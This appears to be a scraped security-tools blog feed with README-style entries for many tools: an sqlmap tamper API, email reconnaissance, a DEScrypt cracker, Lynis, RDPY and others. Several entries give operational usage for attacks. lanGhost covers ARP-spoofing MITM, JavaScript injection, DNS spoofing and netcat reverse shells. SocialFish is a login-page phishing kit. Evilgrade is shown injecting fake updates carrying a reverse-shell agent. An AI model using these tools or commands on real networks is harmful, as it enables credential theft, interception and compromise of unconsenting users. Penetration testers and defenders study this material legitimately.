    It's an API for SQLmap tamper scripts allows you to use your favorite programming language to write your tamper scripts.
    This API solves SQLmap limitation of accepting only python to write tamper scripts.

    How it works
    taper-api.py script sends the payload and kwargs in a JSON format ( {"payload": "", "kwargs": {"headers": {}}} ) to the foreign tamper script's STDIN as an argument.
    From there the foreign script parses the JSON and process it then sends it as a JSON format again to STDOUT where tamper-api.py reads and parses then sends it to SQLmap.
        ,-------(returns objects)---------,
    | |
    [ sqlmap ] --(sends objects)--> [tamper-api] --(sends json)--> [your-script]
    ^ |
    |________(returns json)_______|
    Example
    #!/usr/bin/env ruby
    #
    # Author: KING SABRI | @KINGSABRI
    # Description: Base64 encoding all characters in a given payload
    # Requirements: None
    #
    require 'json'
    require 'base64'

    @json = JSON.parse(ARGV[0])
    @payload = @json["payload"]
    @kwargs = @json["kwargs"]

    @json["payload"] = Base64.urlsafe_encode64(@payload)

    print @json.to_json
    Don't Forget:
    • Copy tamper-api.py script into sqlmap/tamper directory.
    • Check tamper-scripts/[YOUR_LANGUAGE] for practical examples.

    Usage
    sqlmap -u http://example.com/pages.php?page=1 --tamper tamper-api base64encode.rb



    Twebit - Bitcoin Analysis in Twitter With Machine Learning

    $
    0
    0
    Bitcoin analysis with machine learning.

    How it works?
    • 1- Get tweets from twitter.
    • 2- Filter tweets.
    • 3- Tweet classification with naive bayes algorithm (Positive,negative and neut).

    Installation
    git clone https://github.com/omergunal/twebit
    cd twebit
    pip3 install -r requirements.txt
    Update your api keys in "twebit.py". Go to https://apps.twitter.com/ and get API keys

    Usage
    python3 twebit.py

    ScreenShots





    Infoga - Email Information Gathering

    $
    0
    0

    Infoga is a tool for gathering e-mail accounts information (ip,hostname,country,...) from different public sources (search engines, pgp key servers). Is a really simple tool, but very effective for the early stages of a penetration test or just to know the visibility of your company in the Internet.

    Requirements
    • Python <= 2.7

    Installation
    git clone https://github.com/m4ll0k/Infoga.git infoga
    cd infoga
    pip install -r requirements.txt
    python infoga.py

    Usage
    python infoga.py --domain [DOMAIN] --source [SOURCE] --verbose [LEVEL]

    python infoga.py --info [EMAIL] --verbose [LEVEL]

    Example

    python infoga.py --domain fbi.gov --source google --verbose 3


    python infoga.py --domain  fbi.gov --source all --verbose 3



    DEScrypt-CPU-Collision-Cracker - DEScrypt CPU Collision Cracker

    $
    0
    0

    A linux based high performance DEScrypt CPU cracker written in c++, it deduces the salt and uses a password list to crack hashes.

    Why not use a rainbow table?
    DEScrypt uses by default a two byte salt(comprised of characters [a-zA-Z0-9./] [1]) which would mean that you would need to produce roughly 65,536 unique rainbow tables, as a result its more efficient to use collision cracking to find out the unhashed password.

    Features
    • Ability to crack hashes both from a file and individually
    • Detects CPU cores
    • Adjustable number of threads
    • Colon-separated output file
    • Clear readable display
    • Average hash rate of 22,000/s with the default 10 threads

    Commands
        Command         Description
    ------- -----------
    -l= File Location of HashList
    -i= Individual Hash
    -w= File Location of Wordlist
    -o= File Location of Output File
    -t= Number of Threads(Default is 10)

    Getting started

    To Compile: g++ -std=c++11 src/main.cpp -pthread -pcrypt -o DEScrypt

    Screenshots



    Citations
    [1] - http://man7.org/linux/man-pages/man3/crypt.3.html


    Injectify - Perform Advanced MiTM Attacks On Websites With Ease

    Nmap-Vulners - NSE Script Using Some Well-Known Service To Provide Info On Vulnerabilities

    $
    0
    0

    NSE script based on Vulners.com API. NSE script using some well-known service to provide info on vulnerabilities.

    Dependencies:
     nmap libraries:
    http
    json
    string
    The only thing you should always keep in mind is that the script depends on having software versions at hand, so it only works with -sV flag.

    Installation
     locate, where your nmap scripts are located in your system
    for *nix system it might be ~/.nmap/scripts/ or $NMAPDIR
    for Mac it might be /usr/local/Cellar/nmap/<version>/share/nmap/scripts/
    for Windows you have to find it yourself
    copy the provided script (vulners.nse) into that directory

    Usage
    Use it as straightforward as you can:
    nmap -sV --script vulners <target>
    It is KISS after all.


    Lynis 2.6.1 - Security Auditing Tool for Unix/Linux Systems

    $
    0
    0

    We are excited to announce this major release of auditing tool Lynis. Several big changes have been made to core functions of Lynis. These changes are the next of simplification improvements we made. There is a risk of breaking your existing configuration.

    Lynis is an open source security auditing tool. Used by system administrators, security professionals, and auditors, to evaluate the security defenses of their Linux and UNIX-based systems. It runs on the host itself, so it performs more extensive security scans than vulnerability scanners.

    Supported operating systems

    The tool has almost no dependencies, therefore it runs on almost all Unix-based systems and versions, including:
    • AIX
    • FreeBSD
    • HP-UX
    • Linux
    • Mac OS
    • NetBSD
    • OpenBSD
    • Solaris
    • and others
    It even runs on systems like the Raspberry Pi and several storage devices!

    Installation optional

    Lynis is light-weight and easy to use. Installation is optional: just copy it to a system, and use "./lynis audit system" to start the security scan. It is written in shell script and released as open source software (GPL). 

    How it works

    Lynis performs hundreds of individual tests, to determine the security state of the system. The security scan itself consists of performing a set of steps, from initialization the program, up to the report.

    Steps
    1. Determine operating system
    2. Search for available tools and utilities
    3. Check for Lynis update
    4. Run tests from enabled plugins
    5. Run security tests per category
    6. Report status of security scan
    Besides the data displayed on the screen, all technical details about the scan are stored in a log file. Any findings (warnings, suggestions, data collection) are stored in a report file.

    Opportunistic Scanning

    Lynis scanning is opportunistic: it uses what it can find.
    For example, if it sees you are running Apache, it will perform an initial round of Apache related tests. When during the Apache scan it also discovers an SSL/TLS configuration, it will perform additional auditing steps on that. While doing that, it then will collect discovered certificates so they can be scanned later as well.

    In-depth security scans

    By performing opportunistic scanning, the tool can run with almost no dependencies. The more it finds, the deeper the audit will be. In other words, Lynis will always perform scans which are customized to your system. No audit will be the same!

    Use cases

    Since Lynis is flexible, it is used for several different purposes. Typical use cases for Lynis include:
    • Security auditing
    • Compliance testing (e.g. PCI, HIPAA, SOx)
    • Vulnerability detection and scanning
    • System hardening

    Resources used for testing

    Many other tools use the same data files for performing tests. Since Lynis is not limited to a few common Linux distributions, it uses tests from standards and many custom ones not found in any other tool.
    • Best practices
    • CIS
    • NIST
    • NSA
    • OpenSCAP data
    • Vendor guides and recommendations (e.g. Debian Gentoo, Red Hat)

    Lynis Plugins

    Plugins enable the tool to perform additional tests. They can be seen as an extension (or add-on) to Lynis, enhancing its functionality. One example is the compliance checking plugin, which performs specific tests only applicable to some standard.

    Changelog
    Upgrade note
    Changes:
    --------
    * Tests can have more than 1 required OS (e.g. Linux OR NetBSD)
    * Added 'system-groups' option to profile (Enterprise users)
    * Overhaul of default profile and migrate to new style (setting=value)
    * Show warning if old profile options are used
    * Improved detection of binaries
    * New group 'usb' for tests related to USB devices

    Tests:
    ------
    * [FILE-6363] - New test for /var/tmp (sticky bit)
    * [MAIL-8802] - Added exim4 process name to improve detection of Exim
    * [NETW-3030] - Changed name of dhcp client name process and added udhcpc
    * [SSH-7408] - Restored UsePrivilegeSeparation
    * [TIME-3170] - Added chrony configuration file for NetBSD


    lanGhost - A LAN dropbox chatbot controllable via Telegram

    $
    0
    0

    A LAN dropbox chatbot controllable via Telegram

    Installation: 

    You will need a Raspberry Pi with fresh Raspbian/Kali on the SD card, because you don't want anything else running in the background.
    Boot up the Pi, get an SSH sell or connect a monitor and a keyboard and enter these commands:
    $ sudo apt update && sudo apt install python3 python3-pip
    $ git clone https://github.com/xdavidhu/lanGhost
    $ cd lanGhost
    $ sudo ./setup.py
    Please read the questions/messages while running the setup script!

    Step 1/4 - setup.py
    [+] Please enter the name of the network interface connected/will
    be connected to the target LAN. Default wired interface is 'eth0',
    and the default wireless interface is 'wlan0' on most systems, but
    you can check it in a different terminal with the 'ifconfig' command.

    Step 2/4 - setup.py
    [+] Please create a Telegram API key by messaging @BotFather on Telegram
    with the command '/newbot'.

    After this, @BotFather will ask you to choose a name for your bot.
    This can be anything you want.

    Lastly, @BotFather will ask you for a username for your bot. You have
    to choose a unique username here which ends with 'bot'. For
    example: xdavidbot. Make note of this username, since later
    you will have to search for this to find your bot, which lanGhost
    will be running on.

    After you send you username of choise to @BotFather, you will recieve
    your API key.


    Step 3/4 - setup.py
    [+] Now for lanGhost to only allow access to you, you need to verify yourself.

    Send the verification code below TO THE BOT you just created. Just search for your
    bot's @username (what you sent to @BotFather) to find it.

    [+] Verification code to send: ******

    Step 4/4 - setup.py
    [+] Do you want lanGhost to start on boot? This option is necessary if you are using
    this device as a dropbox, because when you are going to drop this device into a
    network, you will not have the chanse to start lanGhost remotely! (autostart works
    by adding a new cron '@reboot' entry)

    If you are ready with the setup just reboot the Pi and lanGhost will start right up!

    Usage:

    warnings:

    Using lanGhost on a networks bigger than /24 is not recommended because the scans will take too long.
    lanGhost is not quiet. Anyone monitoring the traffic can see the ARP packets!

    Drop it into a network:
    If you have selected yes at step 4/4 (autostart) the Pi is fully set up for dropping. lanGhost should start up on boot, and send you a message on Telegram with the text: lanGhost started! .
    Make sure to try it out in your lab first and test if lanGhost is responding to your messages!
    If you are all set, just connect it to the target network by plugging in the Ethernet cable into the Pi and connecting the power via micro USB and you are ready to go!
    (lanGhost can also work over WiFi, but you will need to set up wpa_supplicant to connect to the network automatically first)

    Available commands:
    /scan - Scan LAN network
    /scanip [TARGET-IP] - Scan a specific IP address.
    /kill [TARGET-IP] - Stop the target's network connection.
    /mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
    /replaceimg [TARGET-IP] - Replace HTTP images requested by target.
    /injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
    /spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
    /attacks - View currently running attacks.
    /stop [ATTACK-ID] - Stop a currently running attack.
    /restart - Restart lanGhost.
    /reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
    /help - Display the help menu.
    /ping - Pong.

    Attack system:
    You can start an attack by using one of these commands: /kill, /mitm, /replaceimg, /injectjs, /spoofdns
    Ater you have one or more attacks running, you can use the /attack command to get a list of them containing the ATTACK-ID's.
    To stop an attack type /stop [ATTACK-ID].

    Reverse shell:

    warning:

    /reversesh only makes a netcat TCP connection which is not encrypted and all the traffic can be monitored! Only use it for emergency fixes or for setting up an encrypted reverse connection if necessary.

    The /reversesh command is for getting a reverse shell on the Pi, when its not accessable from the outside.
    To use the /reversesh command you will need to have a server listening for the shell.
    Netcat command to start up the listener on your server:
    $ nc -l 0.0.0.0 [PORT]
    Telegram command:
    /reversesh [IP-of-your-listening-server] [PORT]

    Attacks:
    • /kill - Stops the internet connectivity for the target.
    • /mitm - Captures HTTP and DNS traffic from the target and sends it in text messages.
    • /replaceimg - Replaces HTTP images for the target to what picture you send to the bot.
    • /injectjs - Injects JavaScript into every HTTP HTML response for the target. You need to host the the JS file on your server and give the URL as a parameter.
    • /spoofdns - Spoofs DNS responses for the target.
    All attacks use ARP Spoofing!

    Scans:
    • /scan - Scans the local network and returns the hosts online. Uses nmap -sn scan to discover hosts.
    • /scanip - Scans an IP address for open ports and other info. Uses nmap -sS scan.

    Notifications:
    You will get a message every time when a new device connects/leaves the network.

    Videos:

    /injectjs


    /kill


    /replaceimg


    /mitm


    /spoofdns




    SocialFish - Ultimate phishing tool with Ngrok integrated

    $
    0
    0

    Ultimate phishing tool with Ngrok integrated.

    PREREQUISITES
    • Python 2.7
    • Wget from Python
    • PHP

    TESTED ON
    Kali Linux - ROLLING EDITION

    CLONE
    git clone https://github.com/UndeadSec/SocialFish.git

    RUNNING
    cd SocialFish
    sudo pip install -r requirements.txt
    python SocialFish.py

    AVAILABLE PAGES
    + Facebook:
    • Traditional Facebook login page.
    • Advanced login with Facebook.
    + Google:
    • Traditional Google login page.
    • Advanced login with Facebook.
    + LinkedIN:
    • Traditional LinkedIN login page.
    + Github:
    • Traditional Github login page.
    + Stackoverflow:
    • Traditional Stackoverflow login page.
    + Wordpress:
    • Similar Wordpress login page.


    Social Recon - Investigate The Online Presence And Footprint Of Someone

    $
    0
    0

    This application locates and compiles information about online personalities, given a username and/or email address. Use this to investigate your own online presence, summarize the digital footprint of someone you know, or uncover the person behind a specific username.

    Getting Started
    • Clone or fork the repo to your machine.
    • Once downloaded, cd into the osint-scraper directory.
    • Begin a new virtual environment with Python 3 and activate it.
    • cd into the next osint-scraper directory. It should be at the same level of the setup.py file.
    • pip install -e . on the command line to install all dependencies.
    • pip install pytest
    • $ pserve development.ini --reload to serve the application on http://localhost:6543

    Dependencies
    See requirements.txt and setup.py


    PiDense - Monitor Illegal Wireless Network Activities (Fake Access Points)

    $
    0
    0

    Monitor illegal wireless network activities.
    • Similar SSID broadcasts
    • Same SSID broadcasts
    • Calculates unencrypted wireless networks density
    • Watches SSID broadcasts at the blacklist.

    Capabilities (Now)
    • Calculates Unencrypted wireless network density
    • Finds same ssid, different encryption

    Working Principle for PiDense
    • Collects all the packets from Wireless Networks.
    • Analyzes all the beacon packets.
    • If PiDens detects more than defined threshold of OPN number, or different encryption with same SSID info ;
    • Logs the activity with some extra information within defined template.

    Soon to be added features
    • Blacklist SSID analysis
    • Company name setting for illegal wireless attack activities (Monitoring)

    Example



    Usage

    Requirements
    • Hardware: TP LINK TL-WN722N
    • Modules: scapy, time, termcolor, argparse

    Kali Linux:
    Download PiDense:
    git clone https://github.com/WiPi-Hunter/PiDense.git

    Install Python librarie(s):
    pip install termcolor
    It's done!

    Run the program with following command:
    Monitor mode:
    airmon-ng start interface(wlan0,wlan1) (Monitor mode)

    or

    ifconfig wlan0 down
    iwconfig wlan0 mode Monitor
    ifconfig wlan0 up

    Run:
    cd PiDense
    python pidense.py -h


    RDPY - Remote Desktop Protocol in Twisted Python

    $
    0
    0

    RDPY is a pure Python implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (client and server side). RDPY is built over the event driven network engine Twisted. RDPY support standard RDP security layer, RDP over SSL and NLA authentication (through ntlmv2 authentication protocol).

    RDPY provides the following RDP and VNC binaries :
    • RDP Man In The Middle proxy which record session
    • RDP Honeypot
    • RDP screenshoter
    • RDP client
    • VNC client
    • VNC screenshoter
    • RSS Player

    Build
    RDPY is fully implemented in python, except the bitmap decompression algorithm which is implemented in C for performance purposes.

    Dependencies
    Dependencies are only needed for pyqt4 binaries :
    • rdpy-rdpclient
    • rdpy-rdpscreenshot
    • rdpy-vncclient
    • rdpy-vncscreenshot
    • rdpy-rssplayer

    Linux
    Example for Debian based systems :
    sudo apt-get install python-qt4

    OS X
    Example for OS X to install PyQt with homebrew
    $ brew install qt sip pyqt

    Windows
    x86x86_64
    PyQt4PyQt4
    PyWin32PyWin32

    Build
    $ git clone https://github.com/citronneur/rdpy.git rdpy
    $ pip install twisted pyopenssl qt4reactor service_identity rsa pyasn1
    $ python rdpy/setup.py install
    Or use PIP:
    $ pip install rdpy
    For virtualenv, you will need to link the qt4 library to it:
    $ ln -s /usr/lib/python2.7/dist-packages/PyQt4/ $VIRTUAL_ENV/lib/python2.7/site-packages/
    $ ln -s /usr/lib/python2.7/dist-packages/sip.so $VIRTUAL_ENV/lib/python2.7/site-packages/

    RDPY Binaries
    RDPY comes with some very useful binaries. These binaries are linux and windows compatible.

    rdpy-rdpclient
    rdpy-rdpclient is a simple RDP Qt4 client.
    $ rdpy-rdpclient.py [-u username] [-p password] [-d domain] [-r rss_ouput_file] [...] XXX.XXX.XXX.XXX[:3389]
    You can use rdpy-rdpclient in a Recorder Session Scenario, used in rdpy-rdphoneypot.

    rdpy-vncclient
    rdpy-vncclient is a simple VNC Qt4 client .
    $ rdpy-vncclient.py [-p password] XXX.XXX.XXX.XXX[:5900]

    rdpy-rdpscreenshot
    rdpy-rdpscreenshot saves login screen in file.
    $ rdpy-rdpscreenshot.py [-w width] [-l height] [-o output_file_path] XXX.XXX.XXX.XXX[:3389]

    rdpy-vncscreenshot
    rdpy-vncscreenshot saves the first screen update in file.
    $ rdpy-vncscreenshot.py [-p password] [-o output_file_path] XXX.XXX.XXX.XXX[:5900]

    rdpy-rdpmitm
    rdpy-rdpmitm is a RDP proxy allows you to do a Man In The Middle attack on RDP protocol. Record Session Scenario into rss file which can be replayed by rdpy-rssplayer.
    $ rdpy-rdpmitm.py -o output_dir [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] [-r (for XP or server 2003 client)] target_host[:target_port]
    Output directory is used to save the rss file with following format (YYYYMMDDHHMMSS_ip_index.rss) The private key file and the certificate file are classic cryptographic files for SSL connections. The RDP protocol can negotiate its own security layer If one of both parameters are omitted, the server use standard RDP as security layer.

    rdpy-rdphoneypot
    rdpy-rdphoneypot is an RDP honey Pot. Use Recorded Session Scenario to replay scenario through RDP Protocol.
    $ rdpy-rdphoneypot.py [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] rss_file_path_1 ... rss_file_path_N
    The private key file and the certificate file are classic cryptographic files for SSL connections. The RDP protocol can negotiate its own security layer. If one of both parameters are omitted, the server use standard RDP as security layer. You can specify more than one files to match more common screen size.

    rdpy-rssplayer
    rdpy-rssplayer is use to replay Record Session Scenario (rss) files generates by either rdpy-rdpmitm or rdpy-rdpclient binaries.
    $ rdpy-rssplayer.py rss_file_path

    RDPY Qt Widget
    RDPY can also be used as Qt widget through rdpy.ui.qt4.QRemoteDesktop class. It can be embedded in your own Qt application. qt4reactor must be used in your app for Twisted and Qt to work together. For more details, see sources of rdpy-rdpclient.

    RDPY library
    In a nutshell RDPY can be used as a protocol library with a twisted engine.

    Simple RDP Client
    from rdpy.protocol.rdp import rdp

    class MyRDPFactory(rdp.ClientFactory):

    def clientConnectionLost(self, connector, reason):
    reactor.stop()

    def clientConnectionFailed(self, connector, reason):
    reactor.stop()

    def buildObserver(self, controller, addr):

    class MyObserver(rdp.RDPClientObserver):

    def onReady(self):
    """
    @summary: Call when stack is ready
    """
    #send 'r' key
    self._controller.sendKeyEventUnicode(ord(unicode("r".toUtf8(), encoding="UTF-8")), True)
    #mouse move and click at pixel 200x200
    self._controller.sendPointerEvent(200, 200, 1, true)

    def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
    """
    @summary: Notify bitmap update
    @param destLeft: xmin position
    @param destTop: ymin position
    @param destRight: xmax position because RDP can send bitmap with padding
    @param destBottom: ymax position because RDP can send bitmap with padding
    @param width: width of bitmap
    @param height: height of bitmap
    @param bitsPerPixel: number of bit per pixel
    @param isCompress: use RLE compression
    @param data: bitmap data
    """

    def onSessionReady(self):
    """
    @summary: Windows session is ready
    """

    def onClose(self):
    """
    @summary: Call when stack is close
    """

    return MyObserver(controller)

    from twisted.internet import reactor
    reactor.connectTCP("XXX.XXX.XXX.XXX", 3389, MyRDPFactory())
    reactor.run()

    Simple RDP Server
    from rdpy.protocol.rdp import rdp

    class MyRDPFactory(rdp.ServerFactory):

    def buildObserver(self, controller, addr):

    class MyObserver(rdp.RDPServerObserver):

    def onReady(self):
    """
    @summary: Call when server is ready
    to send and receive messages
    """

    def onKeyEventScancode(self, code, isPressed):
    """
    @summary: Event call when a keyboard event is catch in scan code format
    @param code: scan code of key
    @param isPressed: True if key is down
    @see: rdp.RDPServerObserver.onKeyEventScancode
    """

    def onKeyEventUnicode(self, code, isPressed):
    """
    @summary: Event call when a keyboard event is catch in unicode format
    @param code: unicode of key
    @param isPressed: True if key is down
    @see: rdp.RDPServerObserver.onKeyEventUnicode
    """

    def onPointerEvent(self, x, y, button, isPressed):
    """
    @summary: Event call on mouse event
    @param x: x position
    @param y: y position
    @param button: 1, 2 or 3 button
    @param isPressed: True if mouse button is pressed
    @see: rdp.RDPServerObserver.onPointerEvent
    """

    def onClose(self):
    """
    @summary: Call when human client close connection
    @see: rdp.RDPServerObserver.onClose
    """

    return MyObserver(controller)

    from twisted.internet import reactor
    reactor.listenTCP(3389, MyRDPFactory())
    reactor.run()

    Simple VNC Client
    from rdpy.protocol.rfb import rfb

    class MyRFBFactory(rfb.ClientFactory):

    def clientConnectionLost(self, connector, reason):
    reactor.stop()

    def clientConnectionFailed(self, connector, reason):
    reactor.stop()

    def buildObserver(self, controller, addr):
    class MyObserver(rfb.RFBClientObserver):

    def onReady(self):
    """
    @summary: Event when network stack is ready to receive or send event
    """

    def onUpdate(self, width, height, x, y, pixelFormat, encoding, data):
    """
    @summary: Implement RFBClientObserver interface
    @param width: width of new image
    @param height: height of new image
    @param x: x position of new image
    @param y: y position of new image
    @param pixelFormat: pixefFormat structure in rfb.message.PixelFormat
    @param encoding: encoding type rfb.message.Encoding
    @param data: image data in accordance with pixel format and encoding
    """

    def onCutText(self, text):
    """
    @summary: event when server send cut text event
    @param text: text received
    """

    def onBell(self):
    """
    @summary: event when server send biiip
    """

    def onClose(self):
    """
    @summary: Call when stack is close
    """

    return MyObserver(controller)

    from twisted.internet import reactor
    reactor.connectTCP("XXX.XXX.XXX.XXX", 3389, MyRFBFactory())
    reactor.run()


    Evilgrade - Modular Framework To Take Advantage Of Poor Upgrade Implementations By Injecting Fake Updates

    $
    0
    0

    Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. It comes with pre-made binaries (agents), a working default configuration for fast pentests, and has it's own WebServer and DNSServer modules. Easy to set up new settings, and has an autoconfiguration when new binary agents are set.


    * When should I use evilgrade?
    This framework comes into play when the attacker is able to make hostname redirections (manipulation of victim's dns traffic), and such thing can be done on 2 scenarios:

    Internal scenery:
    • Internal DNS access
    • ARP spoofing
    • DNS Cache Poisoning
    • DHCP spoofing
    • TCP hijacking
    • Wi-Fi Access Point impersonation

    External scenery:
    • Internal DNS access
    • DNS Cache Poisoning

    * How does it work?
    Evilgrade works with modules, in each module there's an implemented structure which is needed to emulate a fake update for an specific application/system.

    * What OS are supported?
    ISR-Evilgrade is crossplatform, it only depends of having an appropriate payload for the right target platform to be exploited.

    Implemented modules:
    • Freerip 3.30
    • Jet photo 4.7.2
    • Teamviewer 5.1.9385
    • ISOpen 4.5.0
    • Istat.
    • Gom 2.1.25.5015
    • Atube catcher 1.0.300
    • Vidbox 7.5
    • Ccleaner 2.30.1130
    • Fcleaner 1.2.9.409
    • Allmynotes 1.26
    • Notepad++ 5.8.2
    • Java 1.6.0_22 winxp/win7
    • aMSN 0.98.3
    • Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
    • Mirc 7.14
    • Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
    • Dap 9.5.0.3
    • Winscp 4.2.9
    • AutoIt Script 3.3.6.1
    • Clamwin 0.96.0.1
    • AppTapp Installer 3.11 (Iphone/Itunes)
    • getjar (facebook.com)
    • Google Analytics Javascript injection
    • Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
    • Winamp 5.581
    • TechTracker (cnet) 1.3.1 (Build 55)
    • Nokiasoftware firmware update 2.4.8es - (Windows software)
    • Nokia firmware v20.2.011
    • BSplayer 2.53.1034
    • Apt ( < Ubuntu 10.04 LTS)
    • Ubertwitter 4.6 (0.971)
    • Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
    • Cpan 1.9402
    • VirtualBox (3.2.8 )
    • Express talk
    • Filezilla
    • Flashget
    • Miranda
    • Orbit
    • Photoscape.
    • Panda Antirootkit
    • Skype
    • Sunbelt
    • Superantispyware
    • Trillian <= 5.0.0.26
    • Adium 1.3.10 (Sparkle Framework)
    • VMware
    • more...
    • /docs/CHANGES

    MAIN USAGE
    It works similar to an IOS console
    evilgrade>help
    Type 'help command' for more detailed help on a command.
    Commands:
    configure - Configure <module-name> - no help available
    exit - exits the program
    help - prints this screen, or help on 'command'
    reload - Reload to update all the modules - no help available
    restart - Restart webserver - no help available
    set - Configure variables - no help available
    show - Display information of <object>.
    start - Start webserver - no help available
    status - Get webserver status - no help available
    stop - Stop webserver - no help available
    version - Display framework version. - no help available

    Object:
    options - Show options of current module.
    vhosts - Show VirtualHosts of current module.
    modules - List all modules available for use.
    active - Show active modules.

    List implemented modules
    evilgrade>show modules

    List of modules:
    ===============

    ...
    ...
    ...

    - 63 modules available.

    Configure a specified module
    evilgrade>conf sunjava
    evilgrade(sunjava)>

    Show all VirtualHosts.

    VirtualHost field contains the domains that our webserver is going to emulate for us.
    evilgrade>show vhosts

    Virtual hosts:
    =============

    [
    "java.sun.com",
    "javadl-esd.sun.com",
    ...
    ...
    ...
    ]

    Show options of current module.

    agent: This is our fake update binary, we have to set the path to where it's located or implement a dynamic fake update binary generation (see ADVANCED).
    evilgrade(sunjava)>show options

    Display options:
    ===============

    Name = Sun Microsystems Java
    Version = 2.0
    Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
    Description = ""
    VirtualHost = "java.sun.com|javadl-esd.sun.com"

    .-------------------------------------------------------------------------------------------------------------------------.
    | Name | Default | Description |
    +--------------+-------------------------------------------------+--------------------------------------------------------+
    | website | http://java.com/moreinfolink | Website displayed in the update |
    | enable | 1 | Status |
    | atitle | Critical vulnerability | Title name to be displayed in the systray item popup |
    | arg | | Arg passed to Agent |
    | adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup |
    | description | This critical update fix internal vulnerability | Description to be displayed during the update |
    | agent | ./agent/reverseshellsign.exe | Agent to inject |
    | title | Critical update | Title name displayed in the update |
    '--------------+-------------------------------------------------+--------------------------------------------------------'

    Start services (DNS Server and WebServer)
    evilgrade>start
    evilgrade>
    [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
    evilgrade>
    [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

    #### Waiting for victims

    evilgrade>
    [25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
    evilgrade>
    [25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
    evilgrade>
    [25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
    evilgrade>
    [25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

    Show status and victims logs
    evilgrade>show status
    Webserver (pid 4134) already running

    Users status:
    ============

    .---------------------------------------------------------------------------------------------------------------.
    | Client | Module | Status | Md5,Cmd,File |
    +----------------+------------------+--------+------------------------------------------------------------------+
    | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" |
    '----------------+------------------+--------+------------------------------------------------------------------'

    DEEP USAGE

    Commands

    configure / conf - Configure

    Example:
    evilgrade>configure sunjava
    evilgrade(sunjava)>

    evilgrade>conf sunjava
    evilgrade(sunjava)>

    ## 'conf' takes us back to the global configuration
    evilgrade(sunjava)>conf
    evilgrade>


    ##
    reload - Reload to get all modules update (to refresh loaded modules, useful on development)
    start - Start webserver
    stop - Stop webserver (fake update server)

    Example:
    evilgrade>start
    evilgrade>
    [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
    evilgrade>
    [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...


    #######################################



    Example:
    -------
    evilgrade>stop
    Stopping WEBSERVER [OK]
    Stopping DNSSERVER [OK]

    #######################################

    restart - Restart services (WebServer and DNS Server)
    stops and starts again

    #######################################

    status - Get webserver and victims status

    Example:
    -------
    evilgrade>show status
    Webserver (pid 4134) already running

    Users status:
    ============

    .---------------------------------------------------------------------------------------------------------------.
    | Client | Module | Status | Md5,Cmd,File |
    +----------------+------------------+--------+------------------------------------------------------------------+
    | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" |
    '----------------+------------------+--------+------------------------------------------------------------------'

    #######################################

    show - Display information of <object>.

    #######################################

    show active - Display active modules in the webserver

    #######################################

    show modules - Display implemented modules

    #########################################

    show options - Display modules/global options

    Example:
    -------

    evilgrade>show options

    Display options:
    ===============

    .-----------------------------------------------------------------------------------.
    | Name | Default | Description |
    +-------------+-----------+---------------------------------------------------------+
    | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) |
    | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) |
    | DNSPort | 53 | Listen Name Server port |
    | debug | 1 | Debug mode |
    | port | 80 | Webserver listening port |
    | sslport | 443 | Webserver SSL listening port |
    '-------------+-----------+---------------------------------------------------------'

    evilgrade>
    evilgrade(notepadplus)>conf vmware
    evilgrade(vmware)>show options (without started services)

    Display options:
    ===============

    Name = VMware Server
    Version = 1.0
    Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
    Description = ""
    VirtualHost = "www.vmware.com"

    .----------------------------------------------.
    | Name | Default | Description |
    +--------+-------------------+-----------------+
    | enable | 1 | Status |
    | agent | ./agent/agent.exe | Agent to inject |
    '--------+-------------------+-----------------'

    evilgrade(vmware)>show options (with started services after setting agent)

    Display options:
    ===============

    Name = VMware Server
    Version = 1.0
    Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
    Description = ""
    VirtualHost = "www.vmware.com"

    .--------------------------------------------------------------------------------------------------.
    | Name | Default | Description |
    +-------------+------------------------------------------------------------------+-----------------+
    | enable | 1 | Status |
    | agentmd5 | f80af637642170507bda998b6f2015fa | |
    | agentsize | 54576 | |
    | agent | ./agent/agent.exe | Agent to inject |
    | agentsha256 | 44f4e3f65f6ca375df4e0247fa0ee1efedbe2965a1c35e910d8d035ec61b76bd | |
    '-------------+------------------------------------------------------------------+-----------------'


    #########################################

    set - Configure variables global or modules

    Example:
    -------

    evilgrade>show options


    Display options:
    ===============

    .-----------------------------------------------------------------------------------.
    | Name | Default | Description |
    +-------------+-----------+---------------------------------------------------------+
    | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) |
    | DNSAnswerIp | 127.0.0.1 | Resolve VHost to ip ) |
    | DNSPort | 53 | Listen Name Server port |
